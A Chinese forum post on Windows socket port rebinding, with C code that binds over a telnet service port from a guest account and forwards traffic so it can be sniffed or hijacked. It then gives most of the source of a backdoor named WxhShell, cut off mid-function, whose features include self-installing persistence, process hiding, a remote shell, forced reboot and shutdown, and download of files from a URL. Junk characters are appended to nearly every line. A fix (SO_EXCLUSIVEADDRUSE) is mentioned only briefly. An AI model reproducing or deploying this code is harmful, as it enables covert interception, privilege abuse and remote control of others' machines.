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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SKnYeT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jLVD37 P^  
=%IyR  
  saddr.sin_family = AF_INET; 6Nn+7z<*&z  
=VuSi(d;e{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p5or"tK  
H#;*kc a4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GK'p$`oJm  
LPJ7V` !k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b=:ud[h  
04;s@\yX4  
  这意味着什么?意味着可以进行如下的攻击: X]@"ZV[  
~,1Sw7 rE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R`a~8QVh&5  
([< HFc`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $B%KkD  
Ta?}n^V?;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N2A6C$s  
'0q$qN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *qO) MpG{  
0,ryy,2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =ejU(1 g  
Yr-SlO>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ri"hU/H{  
lN g){3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6 V0Ayxg7  
JJ?rVq1g  
  #include j;coPehB  
  #include ..u{v}4&  
  #include ( uD^_N]3  
  #include    f2IH2^)P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #vV]nI<MF.  
  int main() _(h=@cv  
  { A[;deHg=  
  WORD wVersionRequested;  MYy58N  
  DWORD ret; vQi=13Pw  
  WSADATA wsaData; PZ8,E{V  
  BOOL val; LPt9+sauf1  
  SOCKADDR_IN saddr; oHx :["F  
  SOCKADDR_IN scaddr; bGeIb-|(  
  int err; ; o_0~l=-/  
  SOCKET s; Hm'"I!jyO  
  SOCKET sc; %w65)BFQ  
  int caddsize; L>sLb(2\i  
  HANDLE mt; <6 Rec^QF  
  DWORD tid;   ANu>*  
  wVersionRequested = MAKEWORD( 2, 2 ); ^)>( <6  
  err = WSAStartup( wVersionRequested, &wsaData ); PtW2S 1?j  
  if ( err != 0 ) { m#RJRuZ|2V  
  printf("error!WSAStartup failed!\n"); gU x}vE-  
  return -1; g-d{"ZXd J  
  } 96V8R<   
  saddr.sin_family = AF_INET; aH_c84DS  
   lY tt|J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^{MqJ\S7H  
JnBc@qnP6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )x/#sW%)  
  saddr.sin_port = htons(23); _< .VP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8~C}0H  
  { }bS1M  
  printf("error!socket failed!\n"); d0I s|Gs  
  return -1; p)/e;q^  
  } /)_4QSz7  
  val = TRUE; o1(;"5MM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Wds>'zzS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c 1F^Gj!8  
  { K& ^qn&  
  printf("error!setsockopt failed!\n"); lUEbxN  
  return -1; St%x\[D  
  } +-|""`I1I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,#ZPg_x?1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9#:nlu9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'xqyG XI  
?Cf'IBpN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mgx|5Otg  
  { ~+4lmslR  
  ret=GetLastError(); Y`ip. Nx  
  printf("error!bind failed!\n"); Bzwll  
  return -1; u$aK19K/  
  } La1:WYt  
  listen(s,2); |cY HH$  
  while(1) %;:![?M  
  { _j , Tc*T  
  caddsize = sizeof(scaddr); "H(3pl.  
  //接受连接请求 cDz@3So.b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n?r8ZDJ'  
  if(sc!=INVALID_SOCKET) pwfQqPC#_  
  { @9 S ::  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *J[ P#y  
  if(mt==NULL) vm+3!s:u  
  { C<^i`[&P$  
  printf("Thread Creat Failed!\n"); mnM]@8^G  
  break; )?[7}(4jI  
  } j? BL8E'   
  } Q*#Lr4cm{  
  CloseHandle(mt); ON\bD?(VY  
  } $EFS_*<X  
  closesocket(s); WMtFXkf6"  
  WSACleanup(); C:Rs~@tl  
  return 0; I20~bW  
  }   1M??@@X  
  DWORD WINAPI ClientThread(LPVOID lpParam) G)< B7-72;  
  { )4uWB2ZRoi  
  SOCKET ss = (SOCKET)lpParam; A2ye ^<-C.  
  SOCKET sc; SnFyK5  
  unsigned char buf[4096]; ck] I?  
  SOCKADDR_IN saddr; aYa`ex  
  long num; -nNKUt.I  
  DWORD val; F!#)l*OX;  
  DWORD ret; im &N &A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zt9G[[]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D*-  
  saddr.sin_family = AF_INET; yP$esDP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (9%?ik  
  saddr.sin_port = htons(23); =_k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8wkhbD|;  
  { r[Pp[ g-J  
  printf("error!socket failed!\n"); 3\m !  
  return -1; O.Pp*sQ^  
  } ++,I`x+p  
  val = 100; A` _dj}UF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6t;;Fz  
  { q("XS  
  ret = GetLastError(); y60aJ)rAX  
  return -1; j%'2^C8  
  } ^oPFLez56  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _=I1  
  { 'hr_g* i  
  ret = GetLastError(); n)5t!  
  return -1; apm%\dN  
  } m^L!_~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :(US um  
  { WZ ?>F  
  printf("error!socket connect failed!\n"); Ne<S_u2nT  
  closesocket(sc); ~2rQ80_  
  closesocket(ss); K9xvog  
  return -1; #>aq'47j  
  } +g?uvXC&  
  while(1) `:3nF'  
  { "G>d8GbIh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n! 5(Z5=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A-4;$ QSm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9RlJf=Z#H  
  num = recv(ss,buf,4096,0); afX|R  
  if(num>0) ((]i}s0S  
  send(sc,buf,num,0); [(*Eg!?W=  
  else if(num==0) Y(6ev o&IR  
  break; P,] ./m\J  
  num = recv(sc,buf,4096,0); &Pme4IHtm  
  if(num>0) ~vDa2D<9%  
  send(ss,buf,num,0); {c)\}s(}F  
  else if(num==0) V $I8iVGL  
  break; 9cB+ x`+Lu  
  } P.Bwfa  
  closesocket(ss); | I:@:  
  closesocket(sc); !%65YTxY-  
  return 0 ; LI.WcI3uS  
  } ShC$ue?Q  
' :_9o5I  
ktfm  
========================================================== .:&`PaMt  
mTu>S  
下边附上一个代码,,WXhSHELL 9+9g(6  
yOz6a :r  
========================================================== ' 8)kFR^9  
&X:;B'   
#include "stdafx.h" =M-=94  
F&!vtlV)  
#include <stdio.h> ]CLM'$  
#include <string.h> toGd;2rl  
#include <windows.h> L~/,;PHN  
#include <winsock2.h> f$:Y'$Z1  
#include <winsvc.h> 5B)&;[  
#include <urlmon.h> 39O rY  
G8vDy1`q6  
#pragma comment (lib, "Ws2_32.lib") G 3U[)("  
#pragma comment (lib, "urlmon.lib") X[ Ufq^fyA  
99*k&mb  
#define MAX_USER   100 // 最大客户端连接数 j|pTbOgk%  
#define BUF_SOCK   200 // sock buffer TO G4=y-N  
#define KEY_BUFF   255 // 输入 buffer ?`e@ o?  
T5T%[Gv  
#define REBOOT     0   // 重启 a6 vej  
#define SHUTDOWN   1   // 关机 _ab8z]H   
iwM xTty  
#define DEF_PORT   5000 // 监听端口 A'`F Rx(  
=| T^)J  
#define REG_LEN     16   // 注册表键长度 Az y`4  
#define SVC_LEN     80   // NT服务名长度 .g}N@  
BNJ0D  
// 从dll定义API Z:^#9D{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M>5OC)E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M rgj*|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =5*Wu+S4r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (<>??(VM  
XgX~K:<jt  
// wxhshell配置信息 rkji#\_-FV  
struct WSCFG { &!4E3&+2m  
  int ws_port;         // 监听端口 @.E9 ml  
  char ws_passstr[REG_LEN]; // 口令 c6 &k?Puy  
  int ws_autoins;       // 安装标记, 1=yes 0=no <vWP_yy  
  char ws_regname[REG_LEN]; // 注册表键名 rK'Lvt@w  
  char ws_svcname[REG_LEN]; // 服务名 b||usv[or  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o@gceZuk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #pPOQv:~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .*YF{!R`h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :@jctH~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %ZD]qaU0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W7 A!QS  
Ox#vW6;)  
}; uQc("F  
F-zIzzb&O  
// default Wxhshell configuration v#{Nh8n  
struct WSCFG wscfg={DEF_PORT, U - OD  
    "xuhuanlingzhe", -V;Y4,:c  
    1, l4i 51S"  
    "Wxhshell", >vo 6X]p~  
    "Wxhshell", -){6ynqv  
            "WxhShell Service", ,gZp/yJ;  
    "Wrsky Windows CmdShell Service", o_Z9\'u  
    "Please Input Your Password: ", ZqrS]i@$  
  1, ?" 4X&6xl  
  "http://www.wrsky.com/wxhshell.exe", 8y6dT  
  "Wxhshell.exe" @"NP`#  
    }; pLe4dz WA  
D~ 3@v+d  
// 消息定义模块 eE'>kP}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -4+'(3qr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4+>yL+sC%v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *cM=>3ws/  
char *msg_ws_ext="\n\rExit."; uQH]  
char *msg_ws_end="\n\rQuit."; 75p9_)>96  
char *msg_ws_boot="\n\rReboot..."; _!zc <&~I  
char *msg_ws_poff="\n\rShutdown..."; 7"2BZ  
char *msg_ws_down="\n\rSave to "; )/DN>rU  
2;T?ry7  
char *msg_ws_err="\n\rErr!"; WqefH{PB  
char *msg_ws_ok="\n\rOK!"; Uf+y$n-  
TYD( 6N  
char ExeFile[MAX_PATH]; bC+Z R{M  
int nUser = 0; #!z-)[S.+  
HANDLE handles[MAX_USER]; E8Kk )7  
int OsIsNt; y "+'4:_  
j;uUM6  
SERVICE_STATUS       serviceStatus; > "rM\ Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @mZK[*Ak<*  
nI?*[y}  
// 函数声明 @d{}M)6\!  
int Install(void); $!. [R}  
int Uninstall(void); r4[=pfe25  
int DownloadFile(char *sURL, SOCKET wsh); Tv7W)?3h  
int Boot(int flag); K_Y{50#  
void HideProc(void); BMO,eQcB  
int GetOsVer(void); jt}oq%Bf  
int Wxhshell(SOCKET wsl); SujEF` "  
void TalkWithClient(void *cs); VtzZ1/J E  
int CmdShell(SOCKET sock); Pi=FnS  
int StartFromService(void); aWimg6q  
int StartWxhshell(LPSTR lpCmdLine); 5P<1I7d  
0vLx={i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZiY2N*,VO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Z:3xb&>   
Ht+roY  
// 数据结构和表定义 {@L{l1|0  
SERVICE_TABLE_ENTRY DispatchTable[] = gQik>gFr  
{ !bLCha\  
{wscfg.ws_svcname, NTServiceMain}, !NNPg?Y  
{NULL, NULL} z =H?@z  
}; KL?<lp"  
|0F o{  
// 自我安装 8*&-u +@%  
int Install(void) d(t)8k$  
{ Y_faqmZ 9]  
  char svExeFile[MAX_PATH]; =>PX~/o  
  HKEY key; -SD:G]un  
  strcpy(svExeFile,ExeFile); jA?[*HB  
f 5bX,e)!  
// 如果是win9x系统,修改注册表设为自启动 QE"$Lc)  
if(!OsIsNt) { z5({A2q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hoBFC1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #]+BIr`  
  RegCloseKey(key); 4d@0v n{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M6MxY\uM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rMWvW(@@D  
  RegCloseKey(key); o/,%rA4  
  return 0; 74 ptd,  
    } ,e$RvFB  
  } < hy!B4  
} D_<B^3w )  
else { JfJ ln[  
+1qvT_  
// 如果是NT以上系统,安装为系统服务 }mp`!7?>O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PJKY$s.  
if (schSCManager!=0) " Ke_dM  
{ =>Ae]mi 7  
  SC_HANDLE schService = CreateService 4`v[p4k  
  ( ;;UsHhbhI  
  schSCManager, u* iqwm.  
  wscfg.ws_svcname, b*| ?7  
  wscfg.ws_svcdisp, g-#eMQ%J  
  SERVICE_ALL_ACCESS, QP<P,Bi~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , moVf(7  
  SERVICE_AUTO_START, +>it u J  
  SERVICE_ERROR_NORMAL, ;w%g*S  
  svExeFile, u]B b^[  
  NULL, L  ~Vw`C  
  NULL, nq7)0F%e  
  NULL, >/.jB/q  
  NULL, ~qb?#IY]`  
  NULL D.AiqO<z  
  ); >@4Ds"Ye"O  
  if (schService!=0) 05 6yhB  
  { n$j B"1  
  CloseServiceHandle(schService); i)@vHh82  
  CloseServiceHandle(schSCManager); /-<]v3J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (1{OQ0N+x  
  strcat(svExeFile,wscfg.ws_svcname); A+Je?3/.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FhH*lO&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cQh{z8Bf?<  
  RegCloseKey(key); (ce)A,;  
  return 0; jj ` 0w@  
    } T2W^4)  
  } 7je1vNs  
  CloseServiceHandle(schSCManager); T;3~teVYB  
} c?xeBC1-  
} vA*NJ%&`  
ND9;%<80  
return 1; *sfz+8Y  
} _jkJw2+s\  
v/KTEM  
// 自我卸载 Dh{P23}  
int Uninstall(void) 5.0;xz}#y  
{ ,V4pFQzL  
  HKEY key; t?uw^nV3E  
Q(8W5Fb?  
if(!OsIsNt) { c$A}mL_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6x;"T+BSSS  
  RegDeleteValue(key,wscfg.ws_regname); ?1]B(V9nBq  
  RegCloseKey(key); TKw>eGe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-U3Tr SI  
  RegDeleteValue(key,wscfg.ws_regname); Grd9yLF  
  RegCloseKey(key); `n|k+tsC  
  return 0; n!b*GXb\  
  } $[=`*m  
} f}FJR6VO  
} R<h0RKiM@  
else { OK}8BY  
NVC$8imip  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =g@hh)3wP  
if (schSCManager!=0) @iz S_I,  
{ ";0-9*I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H<b4B$/  
  if (schService!=0) SR)@'-Wd  
  { >273V+dy  
  if(DeleteService(schService)!=0) { SLd9-N}T  
  CloseServiceHandle(schService); MT&q~jx*  
  CloseServiceHandle(schSCManager); \v9<L'NP)  
  return 0; e8]mdU{)  
  } H~*[v"  
  CloseServiceHandle(schService); &P8Q|A-u  
  } x2f_>tu2  
  CloseServiceHandle(schSCManager); FUPJ&7+B  
} T5U(B3j_  
} H @E-=Ly  
} % |GV  
return 1; R?%|RCht1  
} inGH'nl_  
~u-`L+G"6  
// 从指定url下载文件 RzSN,bL R  
int DownloadFile(char *sURL, SOCKET wsh) p7O4CP>9[  
{ p/s5[>N  
  HRESULT hr; CV7.hF<  
char seps[]= "/"; z!j`Qoh?V9  
char *token; ]zK} X!  
char *file; aR;Q^YJ+a  
char myURL[MAX_PATH]; ?at~il$z'  
char myFILE[MAX_PATH]; PsD]gN5"  
sAc)X!}  
strcpy(myURL,sURL); Un[#zh<4  
  token=strtok(myURL,seps); &jPsdv h  
  while(token!=NULL) gzdgnF2  
  { 8|Y^z_C  
    file=token; 8i"{GGVC  
  token=strtok(NULL,seps); {gi"ktgk  
  } 1Kebl  
u09OnP\  
GetCurrentDirectory(MAX_PATH,myFILE); kp;MNRc  
strcat(myFILE, "\\"); Bp6Evi  
strcat(myFILE, file); -XY]WWlq  
  send(wsh,myFILE,strlen(myFILE),0); (/Y gcT  
send(wsh,"...",3,0); &q` =xF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'XQv>J  
  if(hr==S_OK) A><%"9pZ  
return 0; +Q_Gm3^  
else  L_Ai/'  
return 1; Ri-wbYFaP  
$S cjEG:6  
} d ly 08 74  
&k{@:z  
// 系统电源模块 AU$5"kBE  
int Boot(int flag) %I=J8$B]f  
{ Y2D) $  
  HANDLE hToken; -s!PO;qm  
  TOKEN_PRIVILEGES tkp; $fvUb_n  
cE]kI,Fw,M  
  if(OsIsNt) { FRF}V@~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "Ii!)n,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F;NZJEy  
    tkp.PrivilegeCount = 1; mg;AcAS.o,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i\eykYc,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XAFTLNV>  
if(flag==REBOOT) { g%[Ruugu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IH0^*f  
  return 0; BR%:`uiQ<  
} (c_hX(  
else { ^ pR&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a:]yFi:Su  
  return 0; 1Q$ M/}  
} xX>448=  
  } U)o8Tr  
  else { 4'8.f5  
if(flag==REBOOT) { jH G(d$h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C ]XDDr  
  return 0; J)[(4R>  
} ozo8 Tr  
else { liB>~DVC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _0`O}  
  return 0; .lnD]Q  
} +]_} \  
} Zj0&/S  
fj JIF%  
return 1; *Ee# x!O  
} %qv7;E2C  
87/{\h  
// win9x进程隐藏模块 g/yXPzLU  
void HideProc(void) cK } Qu  
{ vNt2s)J$  
=@f;s<v/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5VcYdu3  
  if ( hKernel != NULL ) ']NM_0  
  { O#|E7;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /4 f;Niem  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :4Vt  
    FreeLibrary(hKernel); g<-cHF  
  } }A;Xd/,'r  
33 4*nQ  
return; wDG4rN9x  
} KKzvoc?Bt  
RinRQd  
// 获取操作系统版本 btE+.V  
int GetOsVer(void) / u{r5`4  
{ M>#{~zr  
  OSVERSIONINFO winfo; "869n37  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M@3H]t?  
  GetVersionEx(&winfo); zYNJF>^<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U|QDV16f  
  return 1; |g{AD`  
  else '37b[~k4  
  return 0; :[&X*bw[  
} "8I4]'  
T_dd7Ym'8  
// 客户端句柄模块 \NqC i'&  
int Wxhshell(SOCKET wsl) D. e*IP1R  
{ {m?x},  
  SOCKET wsh; $} Myj'`r  
  struct sockaddr_in client; |+bG~~~%j  
  DWORD myID; 3PGyqt(   
(!(bysi9  
  while(nUser<MAX_USER) F*=RP$sj  
{ Mg$Z^v|}0  
  int nSize=sizeof(client); 1d"P) 3dQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z0=OR^HjA  
  if(wsh==INVALID_SOCKET) return 1; 9lxT5Wg  
.%A2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \v_C7R;&  
if(handles[nUser]==0) BTyVfq sx  
  closesocket(wsh); `<n:D`{dZ  
else [C6?:'}FA  
  nUser++; \zUsHK?L"t  
  } NC}#P< U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u| c+w)a  
v(O.GhJ@  
  return 0; ;=OH=+R l  
} 5PPpX=\  
~e<<aTwN  
// 关闭 socket v2'J L(=  
void CloseIt(SOCKET wsh) &?nF' ;&  
{ "q .uiz+1:  
closesocket(wsh); di 5_5_$`o  
nUser--; A@OV!DJe]  
ExitThread(0); hz%IxI9  
} ap~Iz  
_1'Pb/1  
// 客户端请求句柄 ;GS JnV  
void TalkWithClient(void *cs) *&]l  
{ \t@`]QzG:  
UJ[a& b  
  SOCKET wsh=(SOCKET)cs; $EIkk= z  
  char pwd[SVC_LEN]; i`$rzXcS  
  char cmd[KEY_BUFF]; /(aX>_7jg  
char chr[1]; A2d2V**Z  
int i,j; g OM`I+CwT  
pS;dvZ  
  while (nUser < MAX_USER) { D.b<I79bX  
,0bM* qob  
if(wscfg.ws_passstr) { MVdx5,t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :N}KScS|Wa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eZi<C}z  
  //ZeroMemory(pwd,KEY_BUFF); cG:`Zj~4  
      i=0; d ] ;pG(  
  while(i<SVC_LEN) { )[*O^bPowI  
\irjIXtV  
  // 设置超时 |5Pbc&mH8A  
  fd_set FdRead; kVv <tw  
  struct timeval TimeOut; xF;v 6d  
  FD_ZERO(&FdRead); 1\0@?6`^  
  FD_SET(wsh,&FdRead); !%r`'|9y  
  TimeOut.tv_sec=8; Rjl__90  
  TimeOut.tv_usec=0; :F=nb+HZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H)Ge#=;ckQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P;&p[[7  
sIsu >eL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p%1m&/ `F  
  pwd=chr[0]; [!mjUsut*  
  if(chr[0]==0xd || chr[0]==0xa) { 1.uQ(>n  
  pwd=0; ($> 0&w  
  break; ;7k7/f:  
  } >>zoG3H!  
  i++; KCE-6T  
    } QOk"UP  
sEyl\GL  
  // 如果是非法用户,关闭 socket Vz]=J;`Mz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]H~,K]@.  
} /H@")je  
XH$|DeAFM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q&T'x> /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -<]_:Kf{;&  
5Suc#0y  
while(1) { ot#kU 8f  
0K0=Ob^(e  
  ZeroMemory(cmd,KEY_BUFF);  LB7I`W  
uTGvXKL7  
      // 自动支持客户端 telnet标准   lG>e6[Wc  
  j=0; ^\jX5)2{  
  while(j<KEY_BUFF) { b] ?;R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4CT9-2UC  
  cmd[j]=chr[0]; RLNuH2y;  
  if(chr[0]==0xa || chr[0]==0xd) { .6o y>4  
  cmd[j]=0; }F6b ]  
  break; G | oG:  
  } T k&9Klo  
  j++; %nf=[f  
    } g8A{aHb1}  
C)p<M H<  
  // 下载文件 gEHfsR=D6  
  if(strstr(cmd,"http://")) { ArzsZ<\//  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d ovwB`5  
  if(DownloadFile(cmd,wsh)) ^l&4UnLlc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XYF~Q9~  
  else VQMd[/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |o=ST  
  } t`t:qko  
  else { jYID44$  
yc=#Jn?S  
    switch(cmd[0]) { q<[ke   
  }IkEyJsk  
  // 帮助 h_G Bx|c  
  case '?': { {eN{Zh5"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 00a<(sS;  
    break; #'J7Wy  
  } L$c%u  
  // 安装 f?^Oy!1]  
  case 'i': { 9~%]|_(  
    if(Install()) ef:$1VIBda  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G~N+\8]U  
    else N%|Vzc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xh^ZI6L<  
    break; =M{CZm  
    } } %CbZ/7&  
  // 卸载 `+Z#*lj|@  
  case 'r': { UH&1c8y}  
    if(Uninstall()) rRrW   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %aE7id>v6  
    else x][9ptr h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^1yTL5#:Vw  
    break; NG!cEo:2aa  
    } 4m[C-NB!g  
  // 显示 wxhshell 所在路径 cW\Y?x   
  case 'p': { )k] !u  
    char svExeFile[MAX_PATH]; uNZ>oP>  
    strcpy(svExeFile,"\n\r"); ^ R^N`V   
      strcat(svExeFile,ExeFile); B "F`OS[  
        send(wsh,svExeFile,strlen(svExeFile),0); `m;"I  
    break; Q[Sd  
    } s5aOAyb*w  
  // 重启 $0 S#d@v}  
  case 'b': { 4\SBf\ c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ) wo2GF  
    if(Boot(REBOOT))  [Ro0eH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Q>{YsRRB  
    else { K-k.=6mS  
    closesocket(wsh); ],}afa!A  
    ExitThread(0); wt=>{JM  
    } h*%0@  
    break; D)ne *},  
    } 6O@ ^`T  
  // 关机 w$[Ds  
  case 'd': { |U$de2LF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ecqz@*d&  
    if(Boot(SHUTDOWN)) HZ<f(  
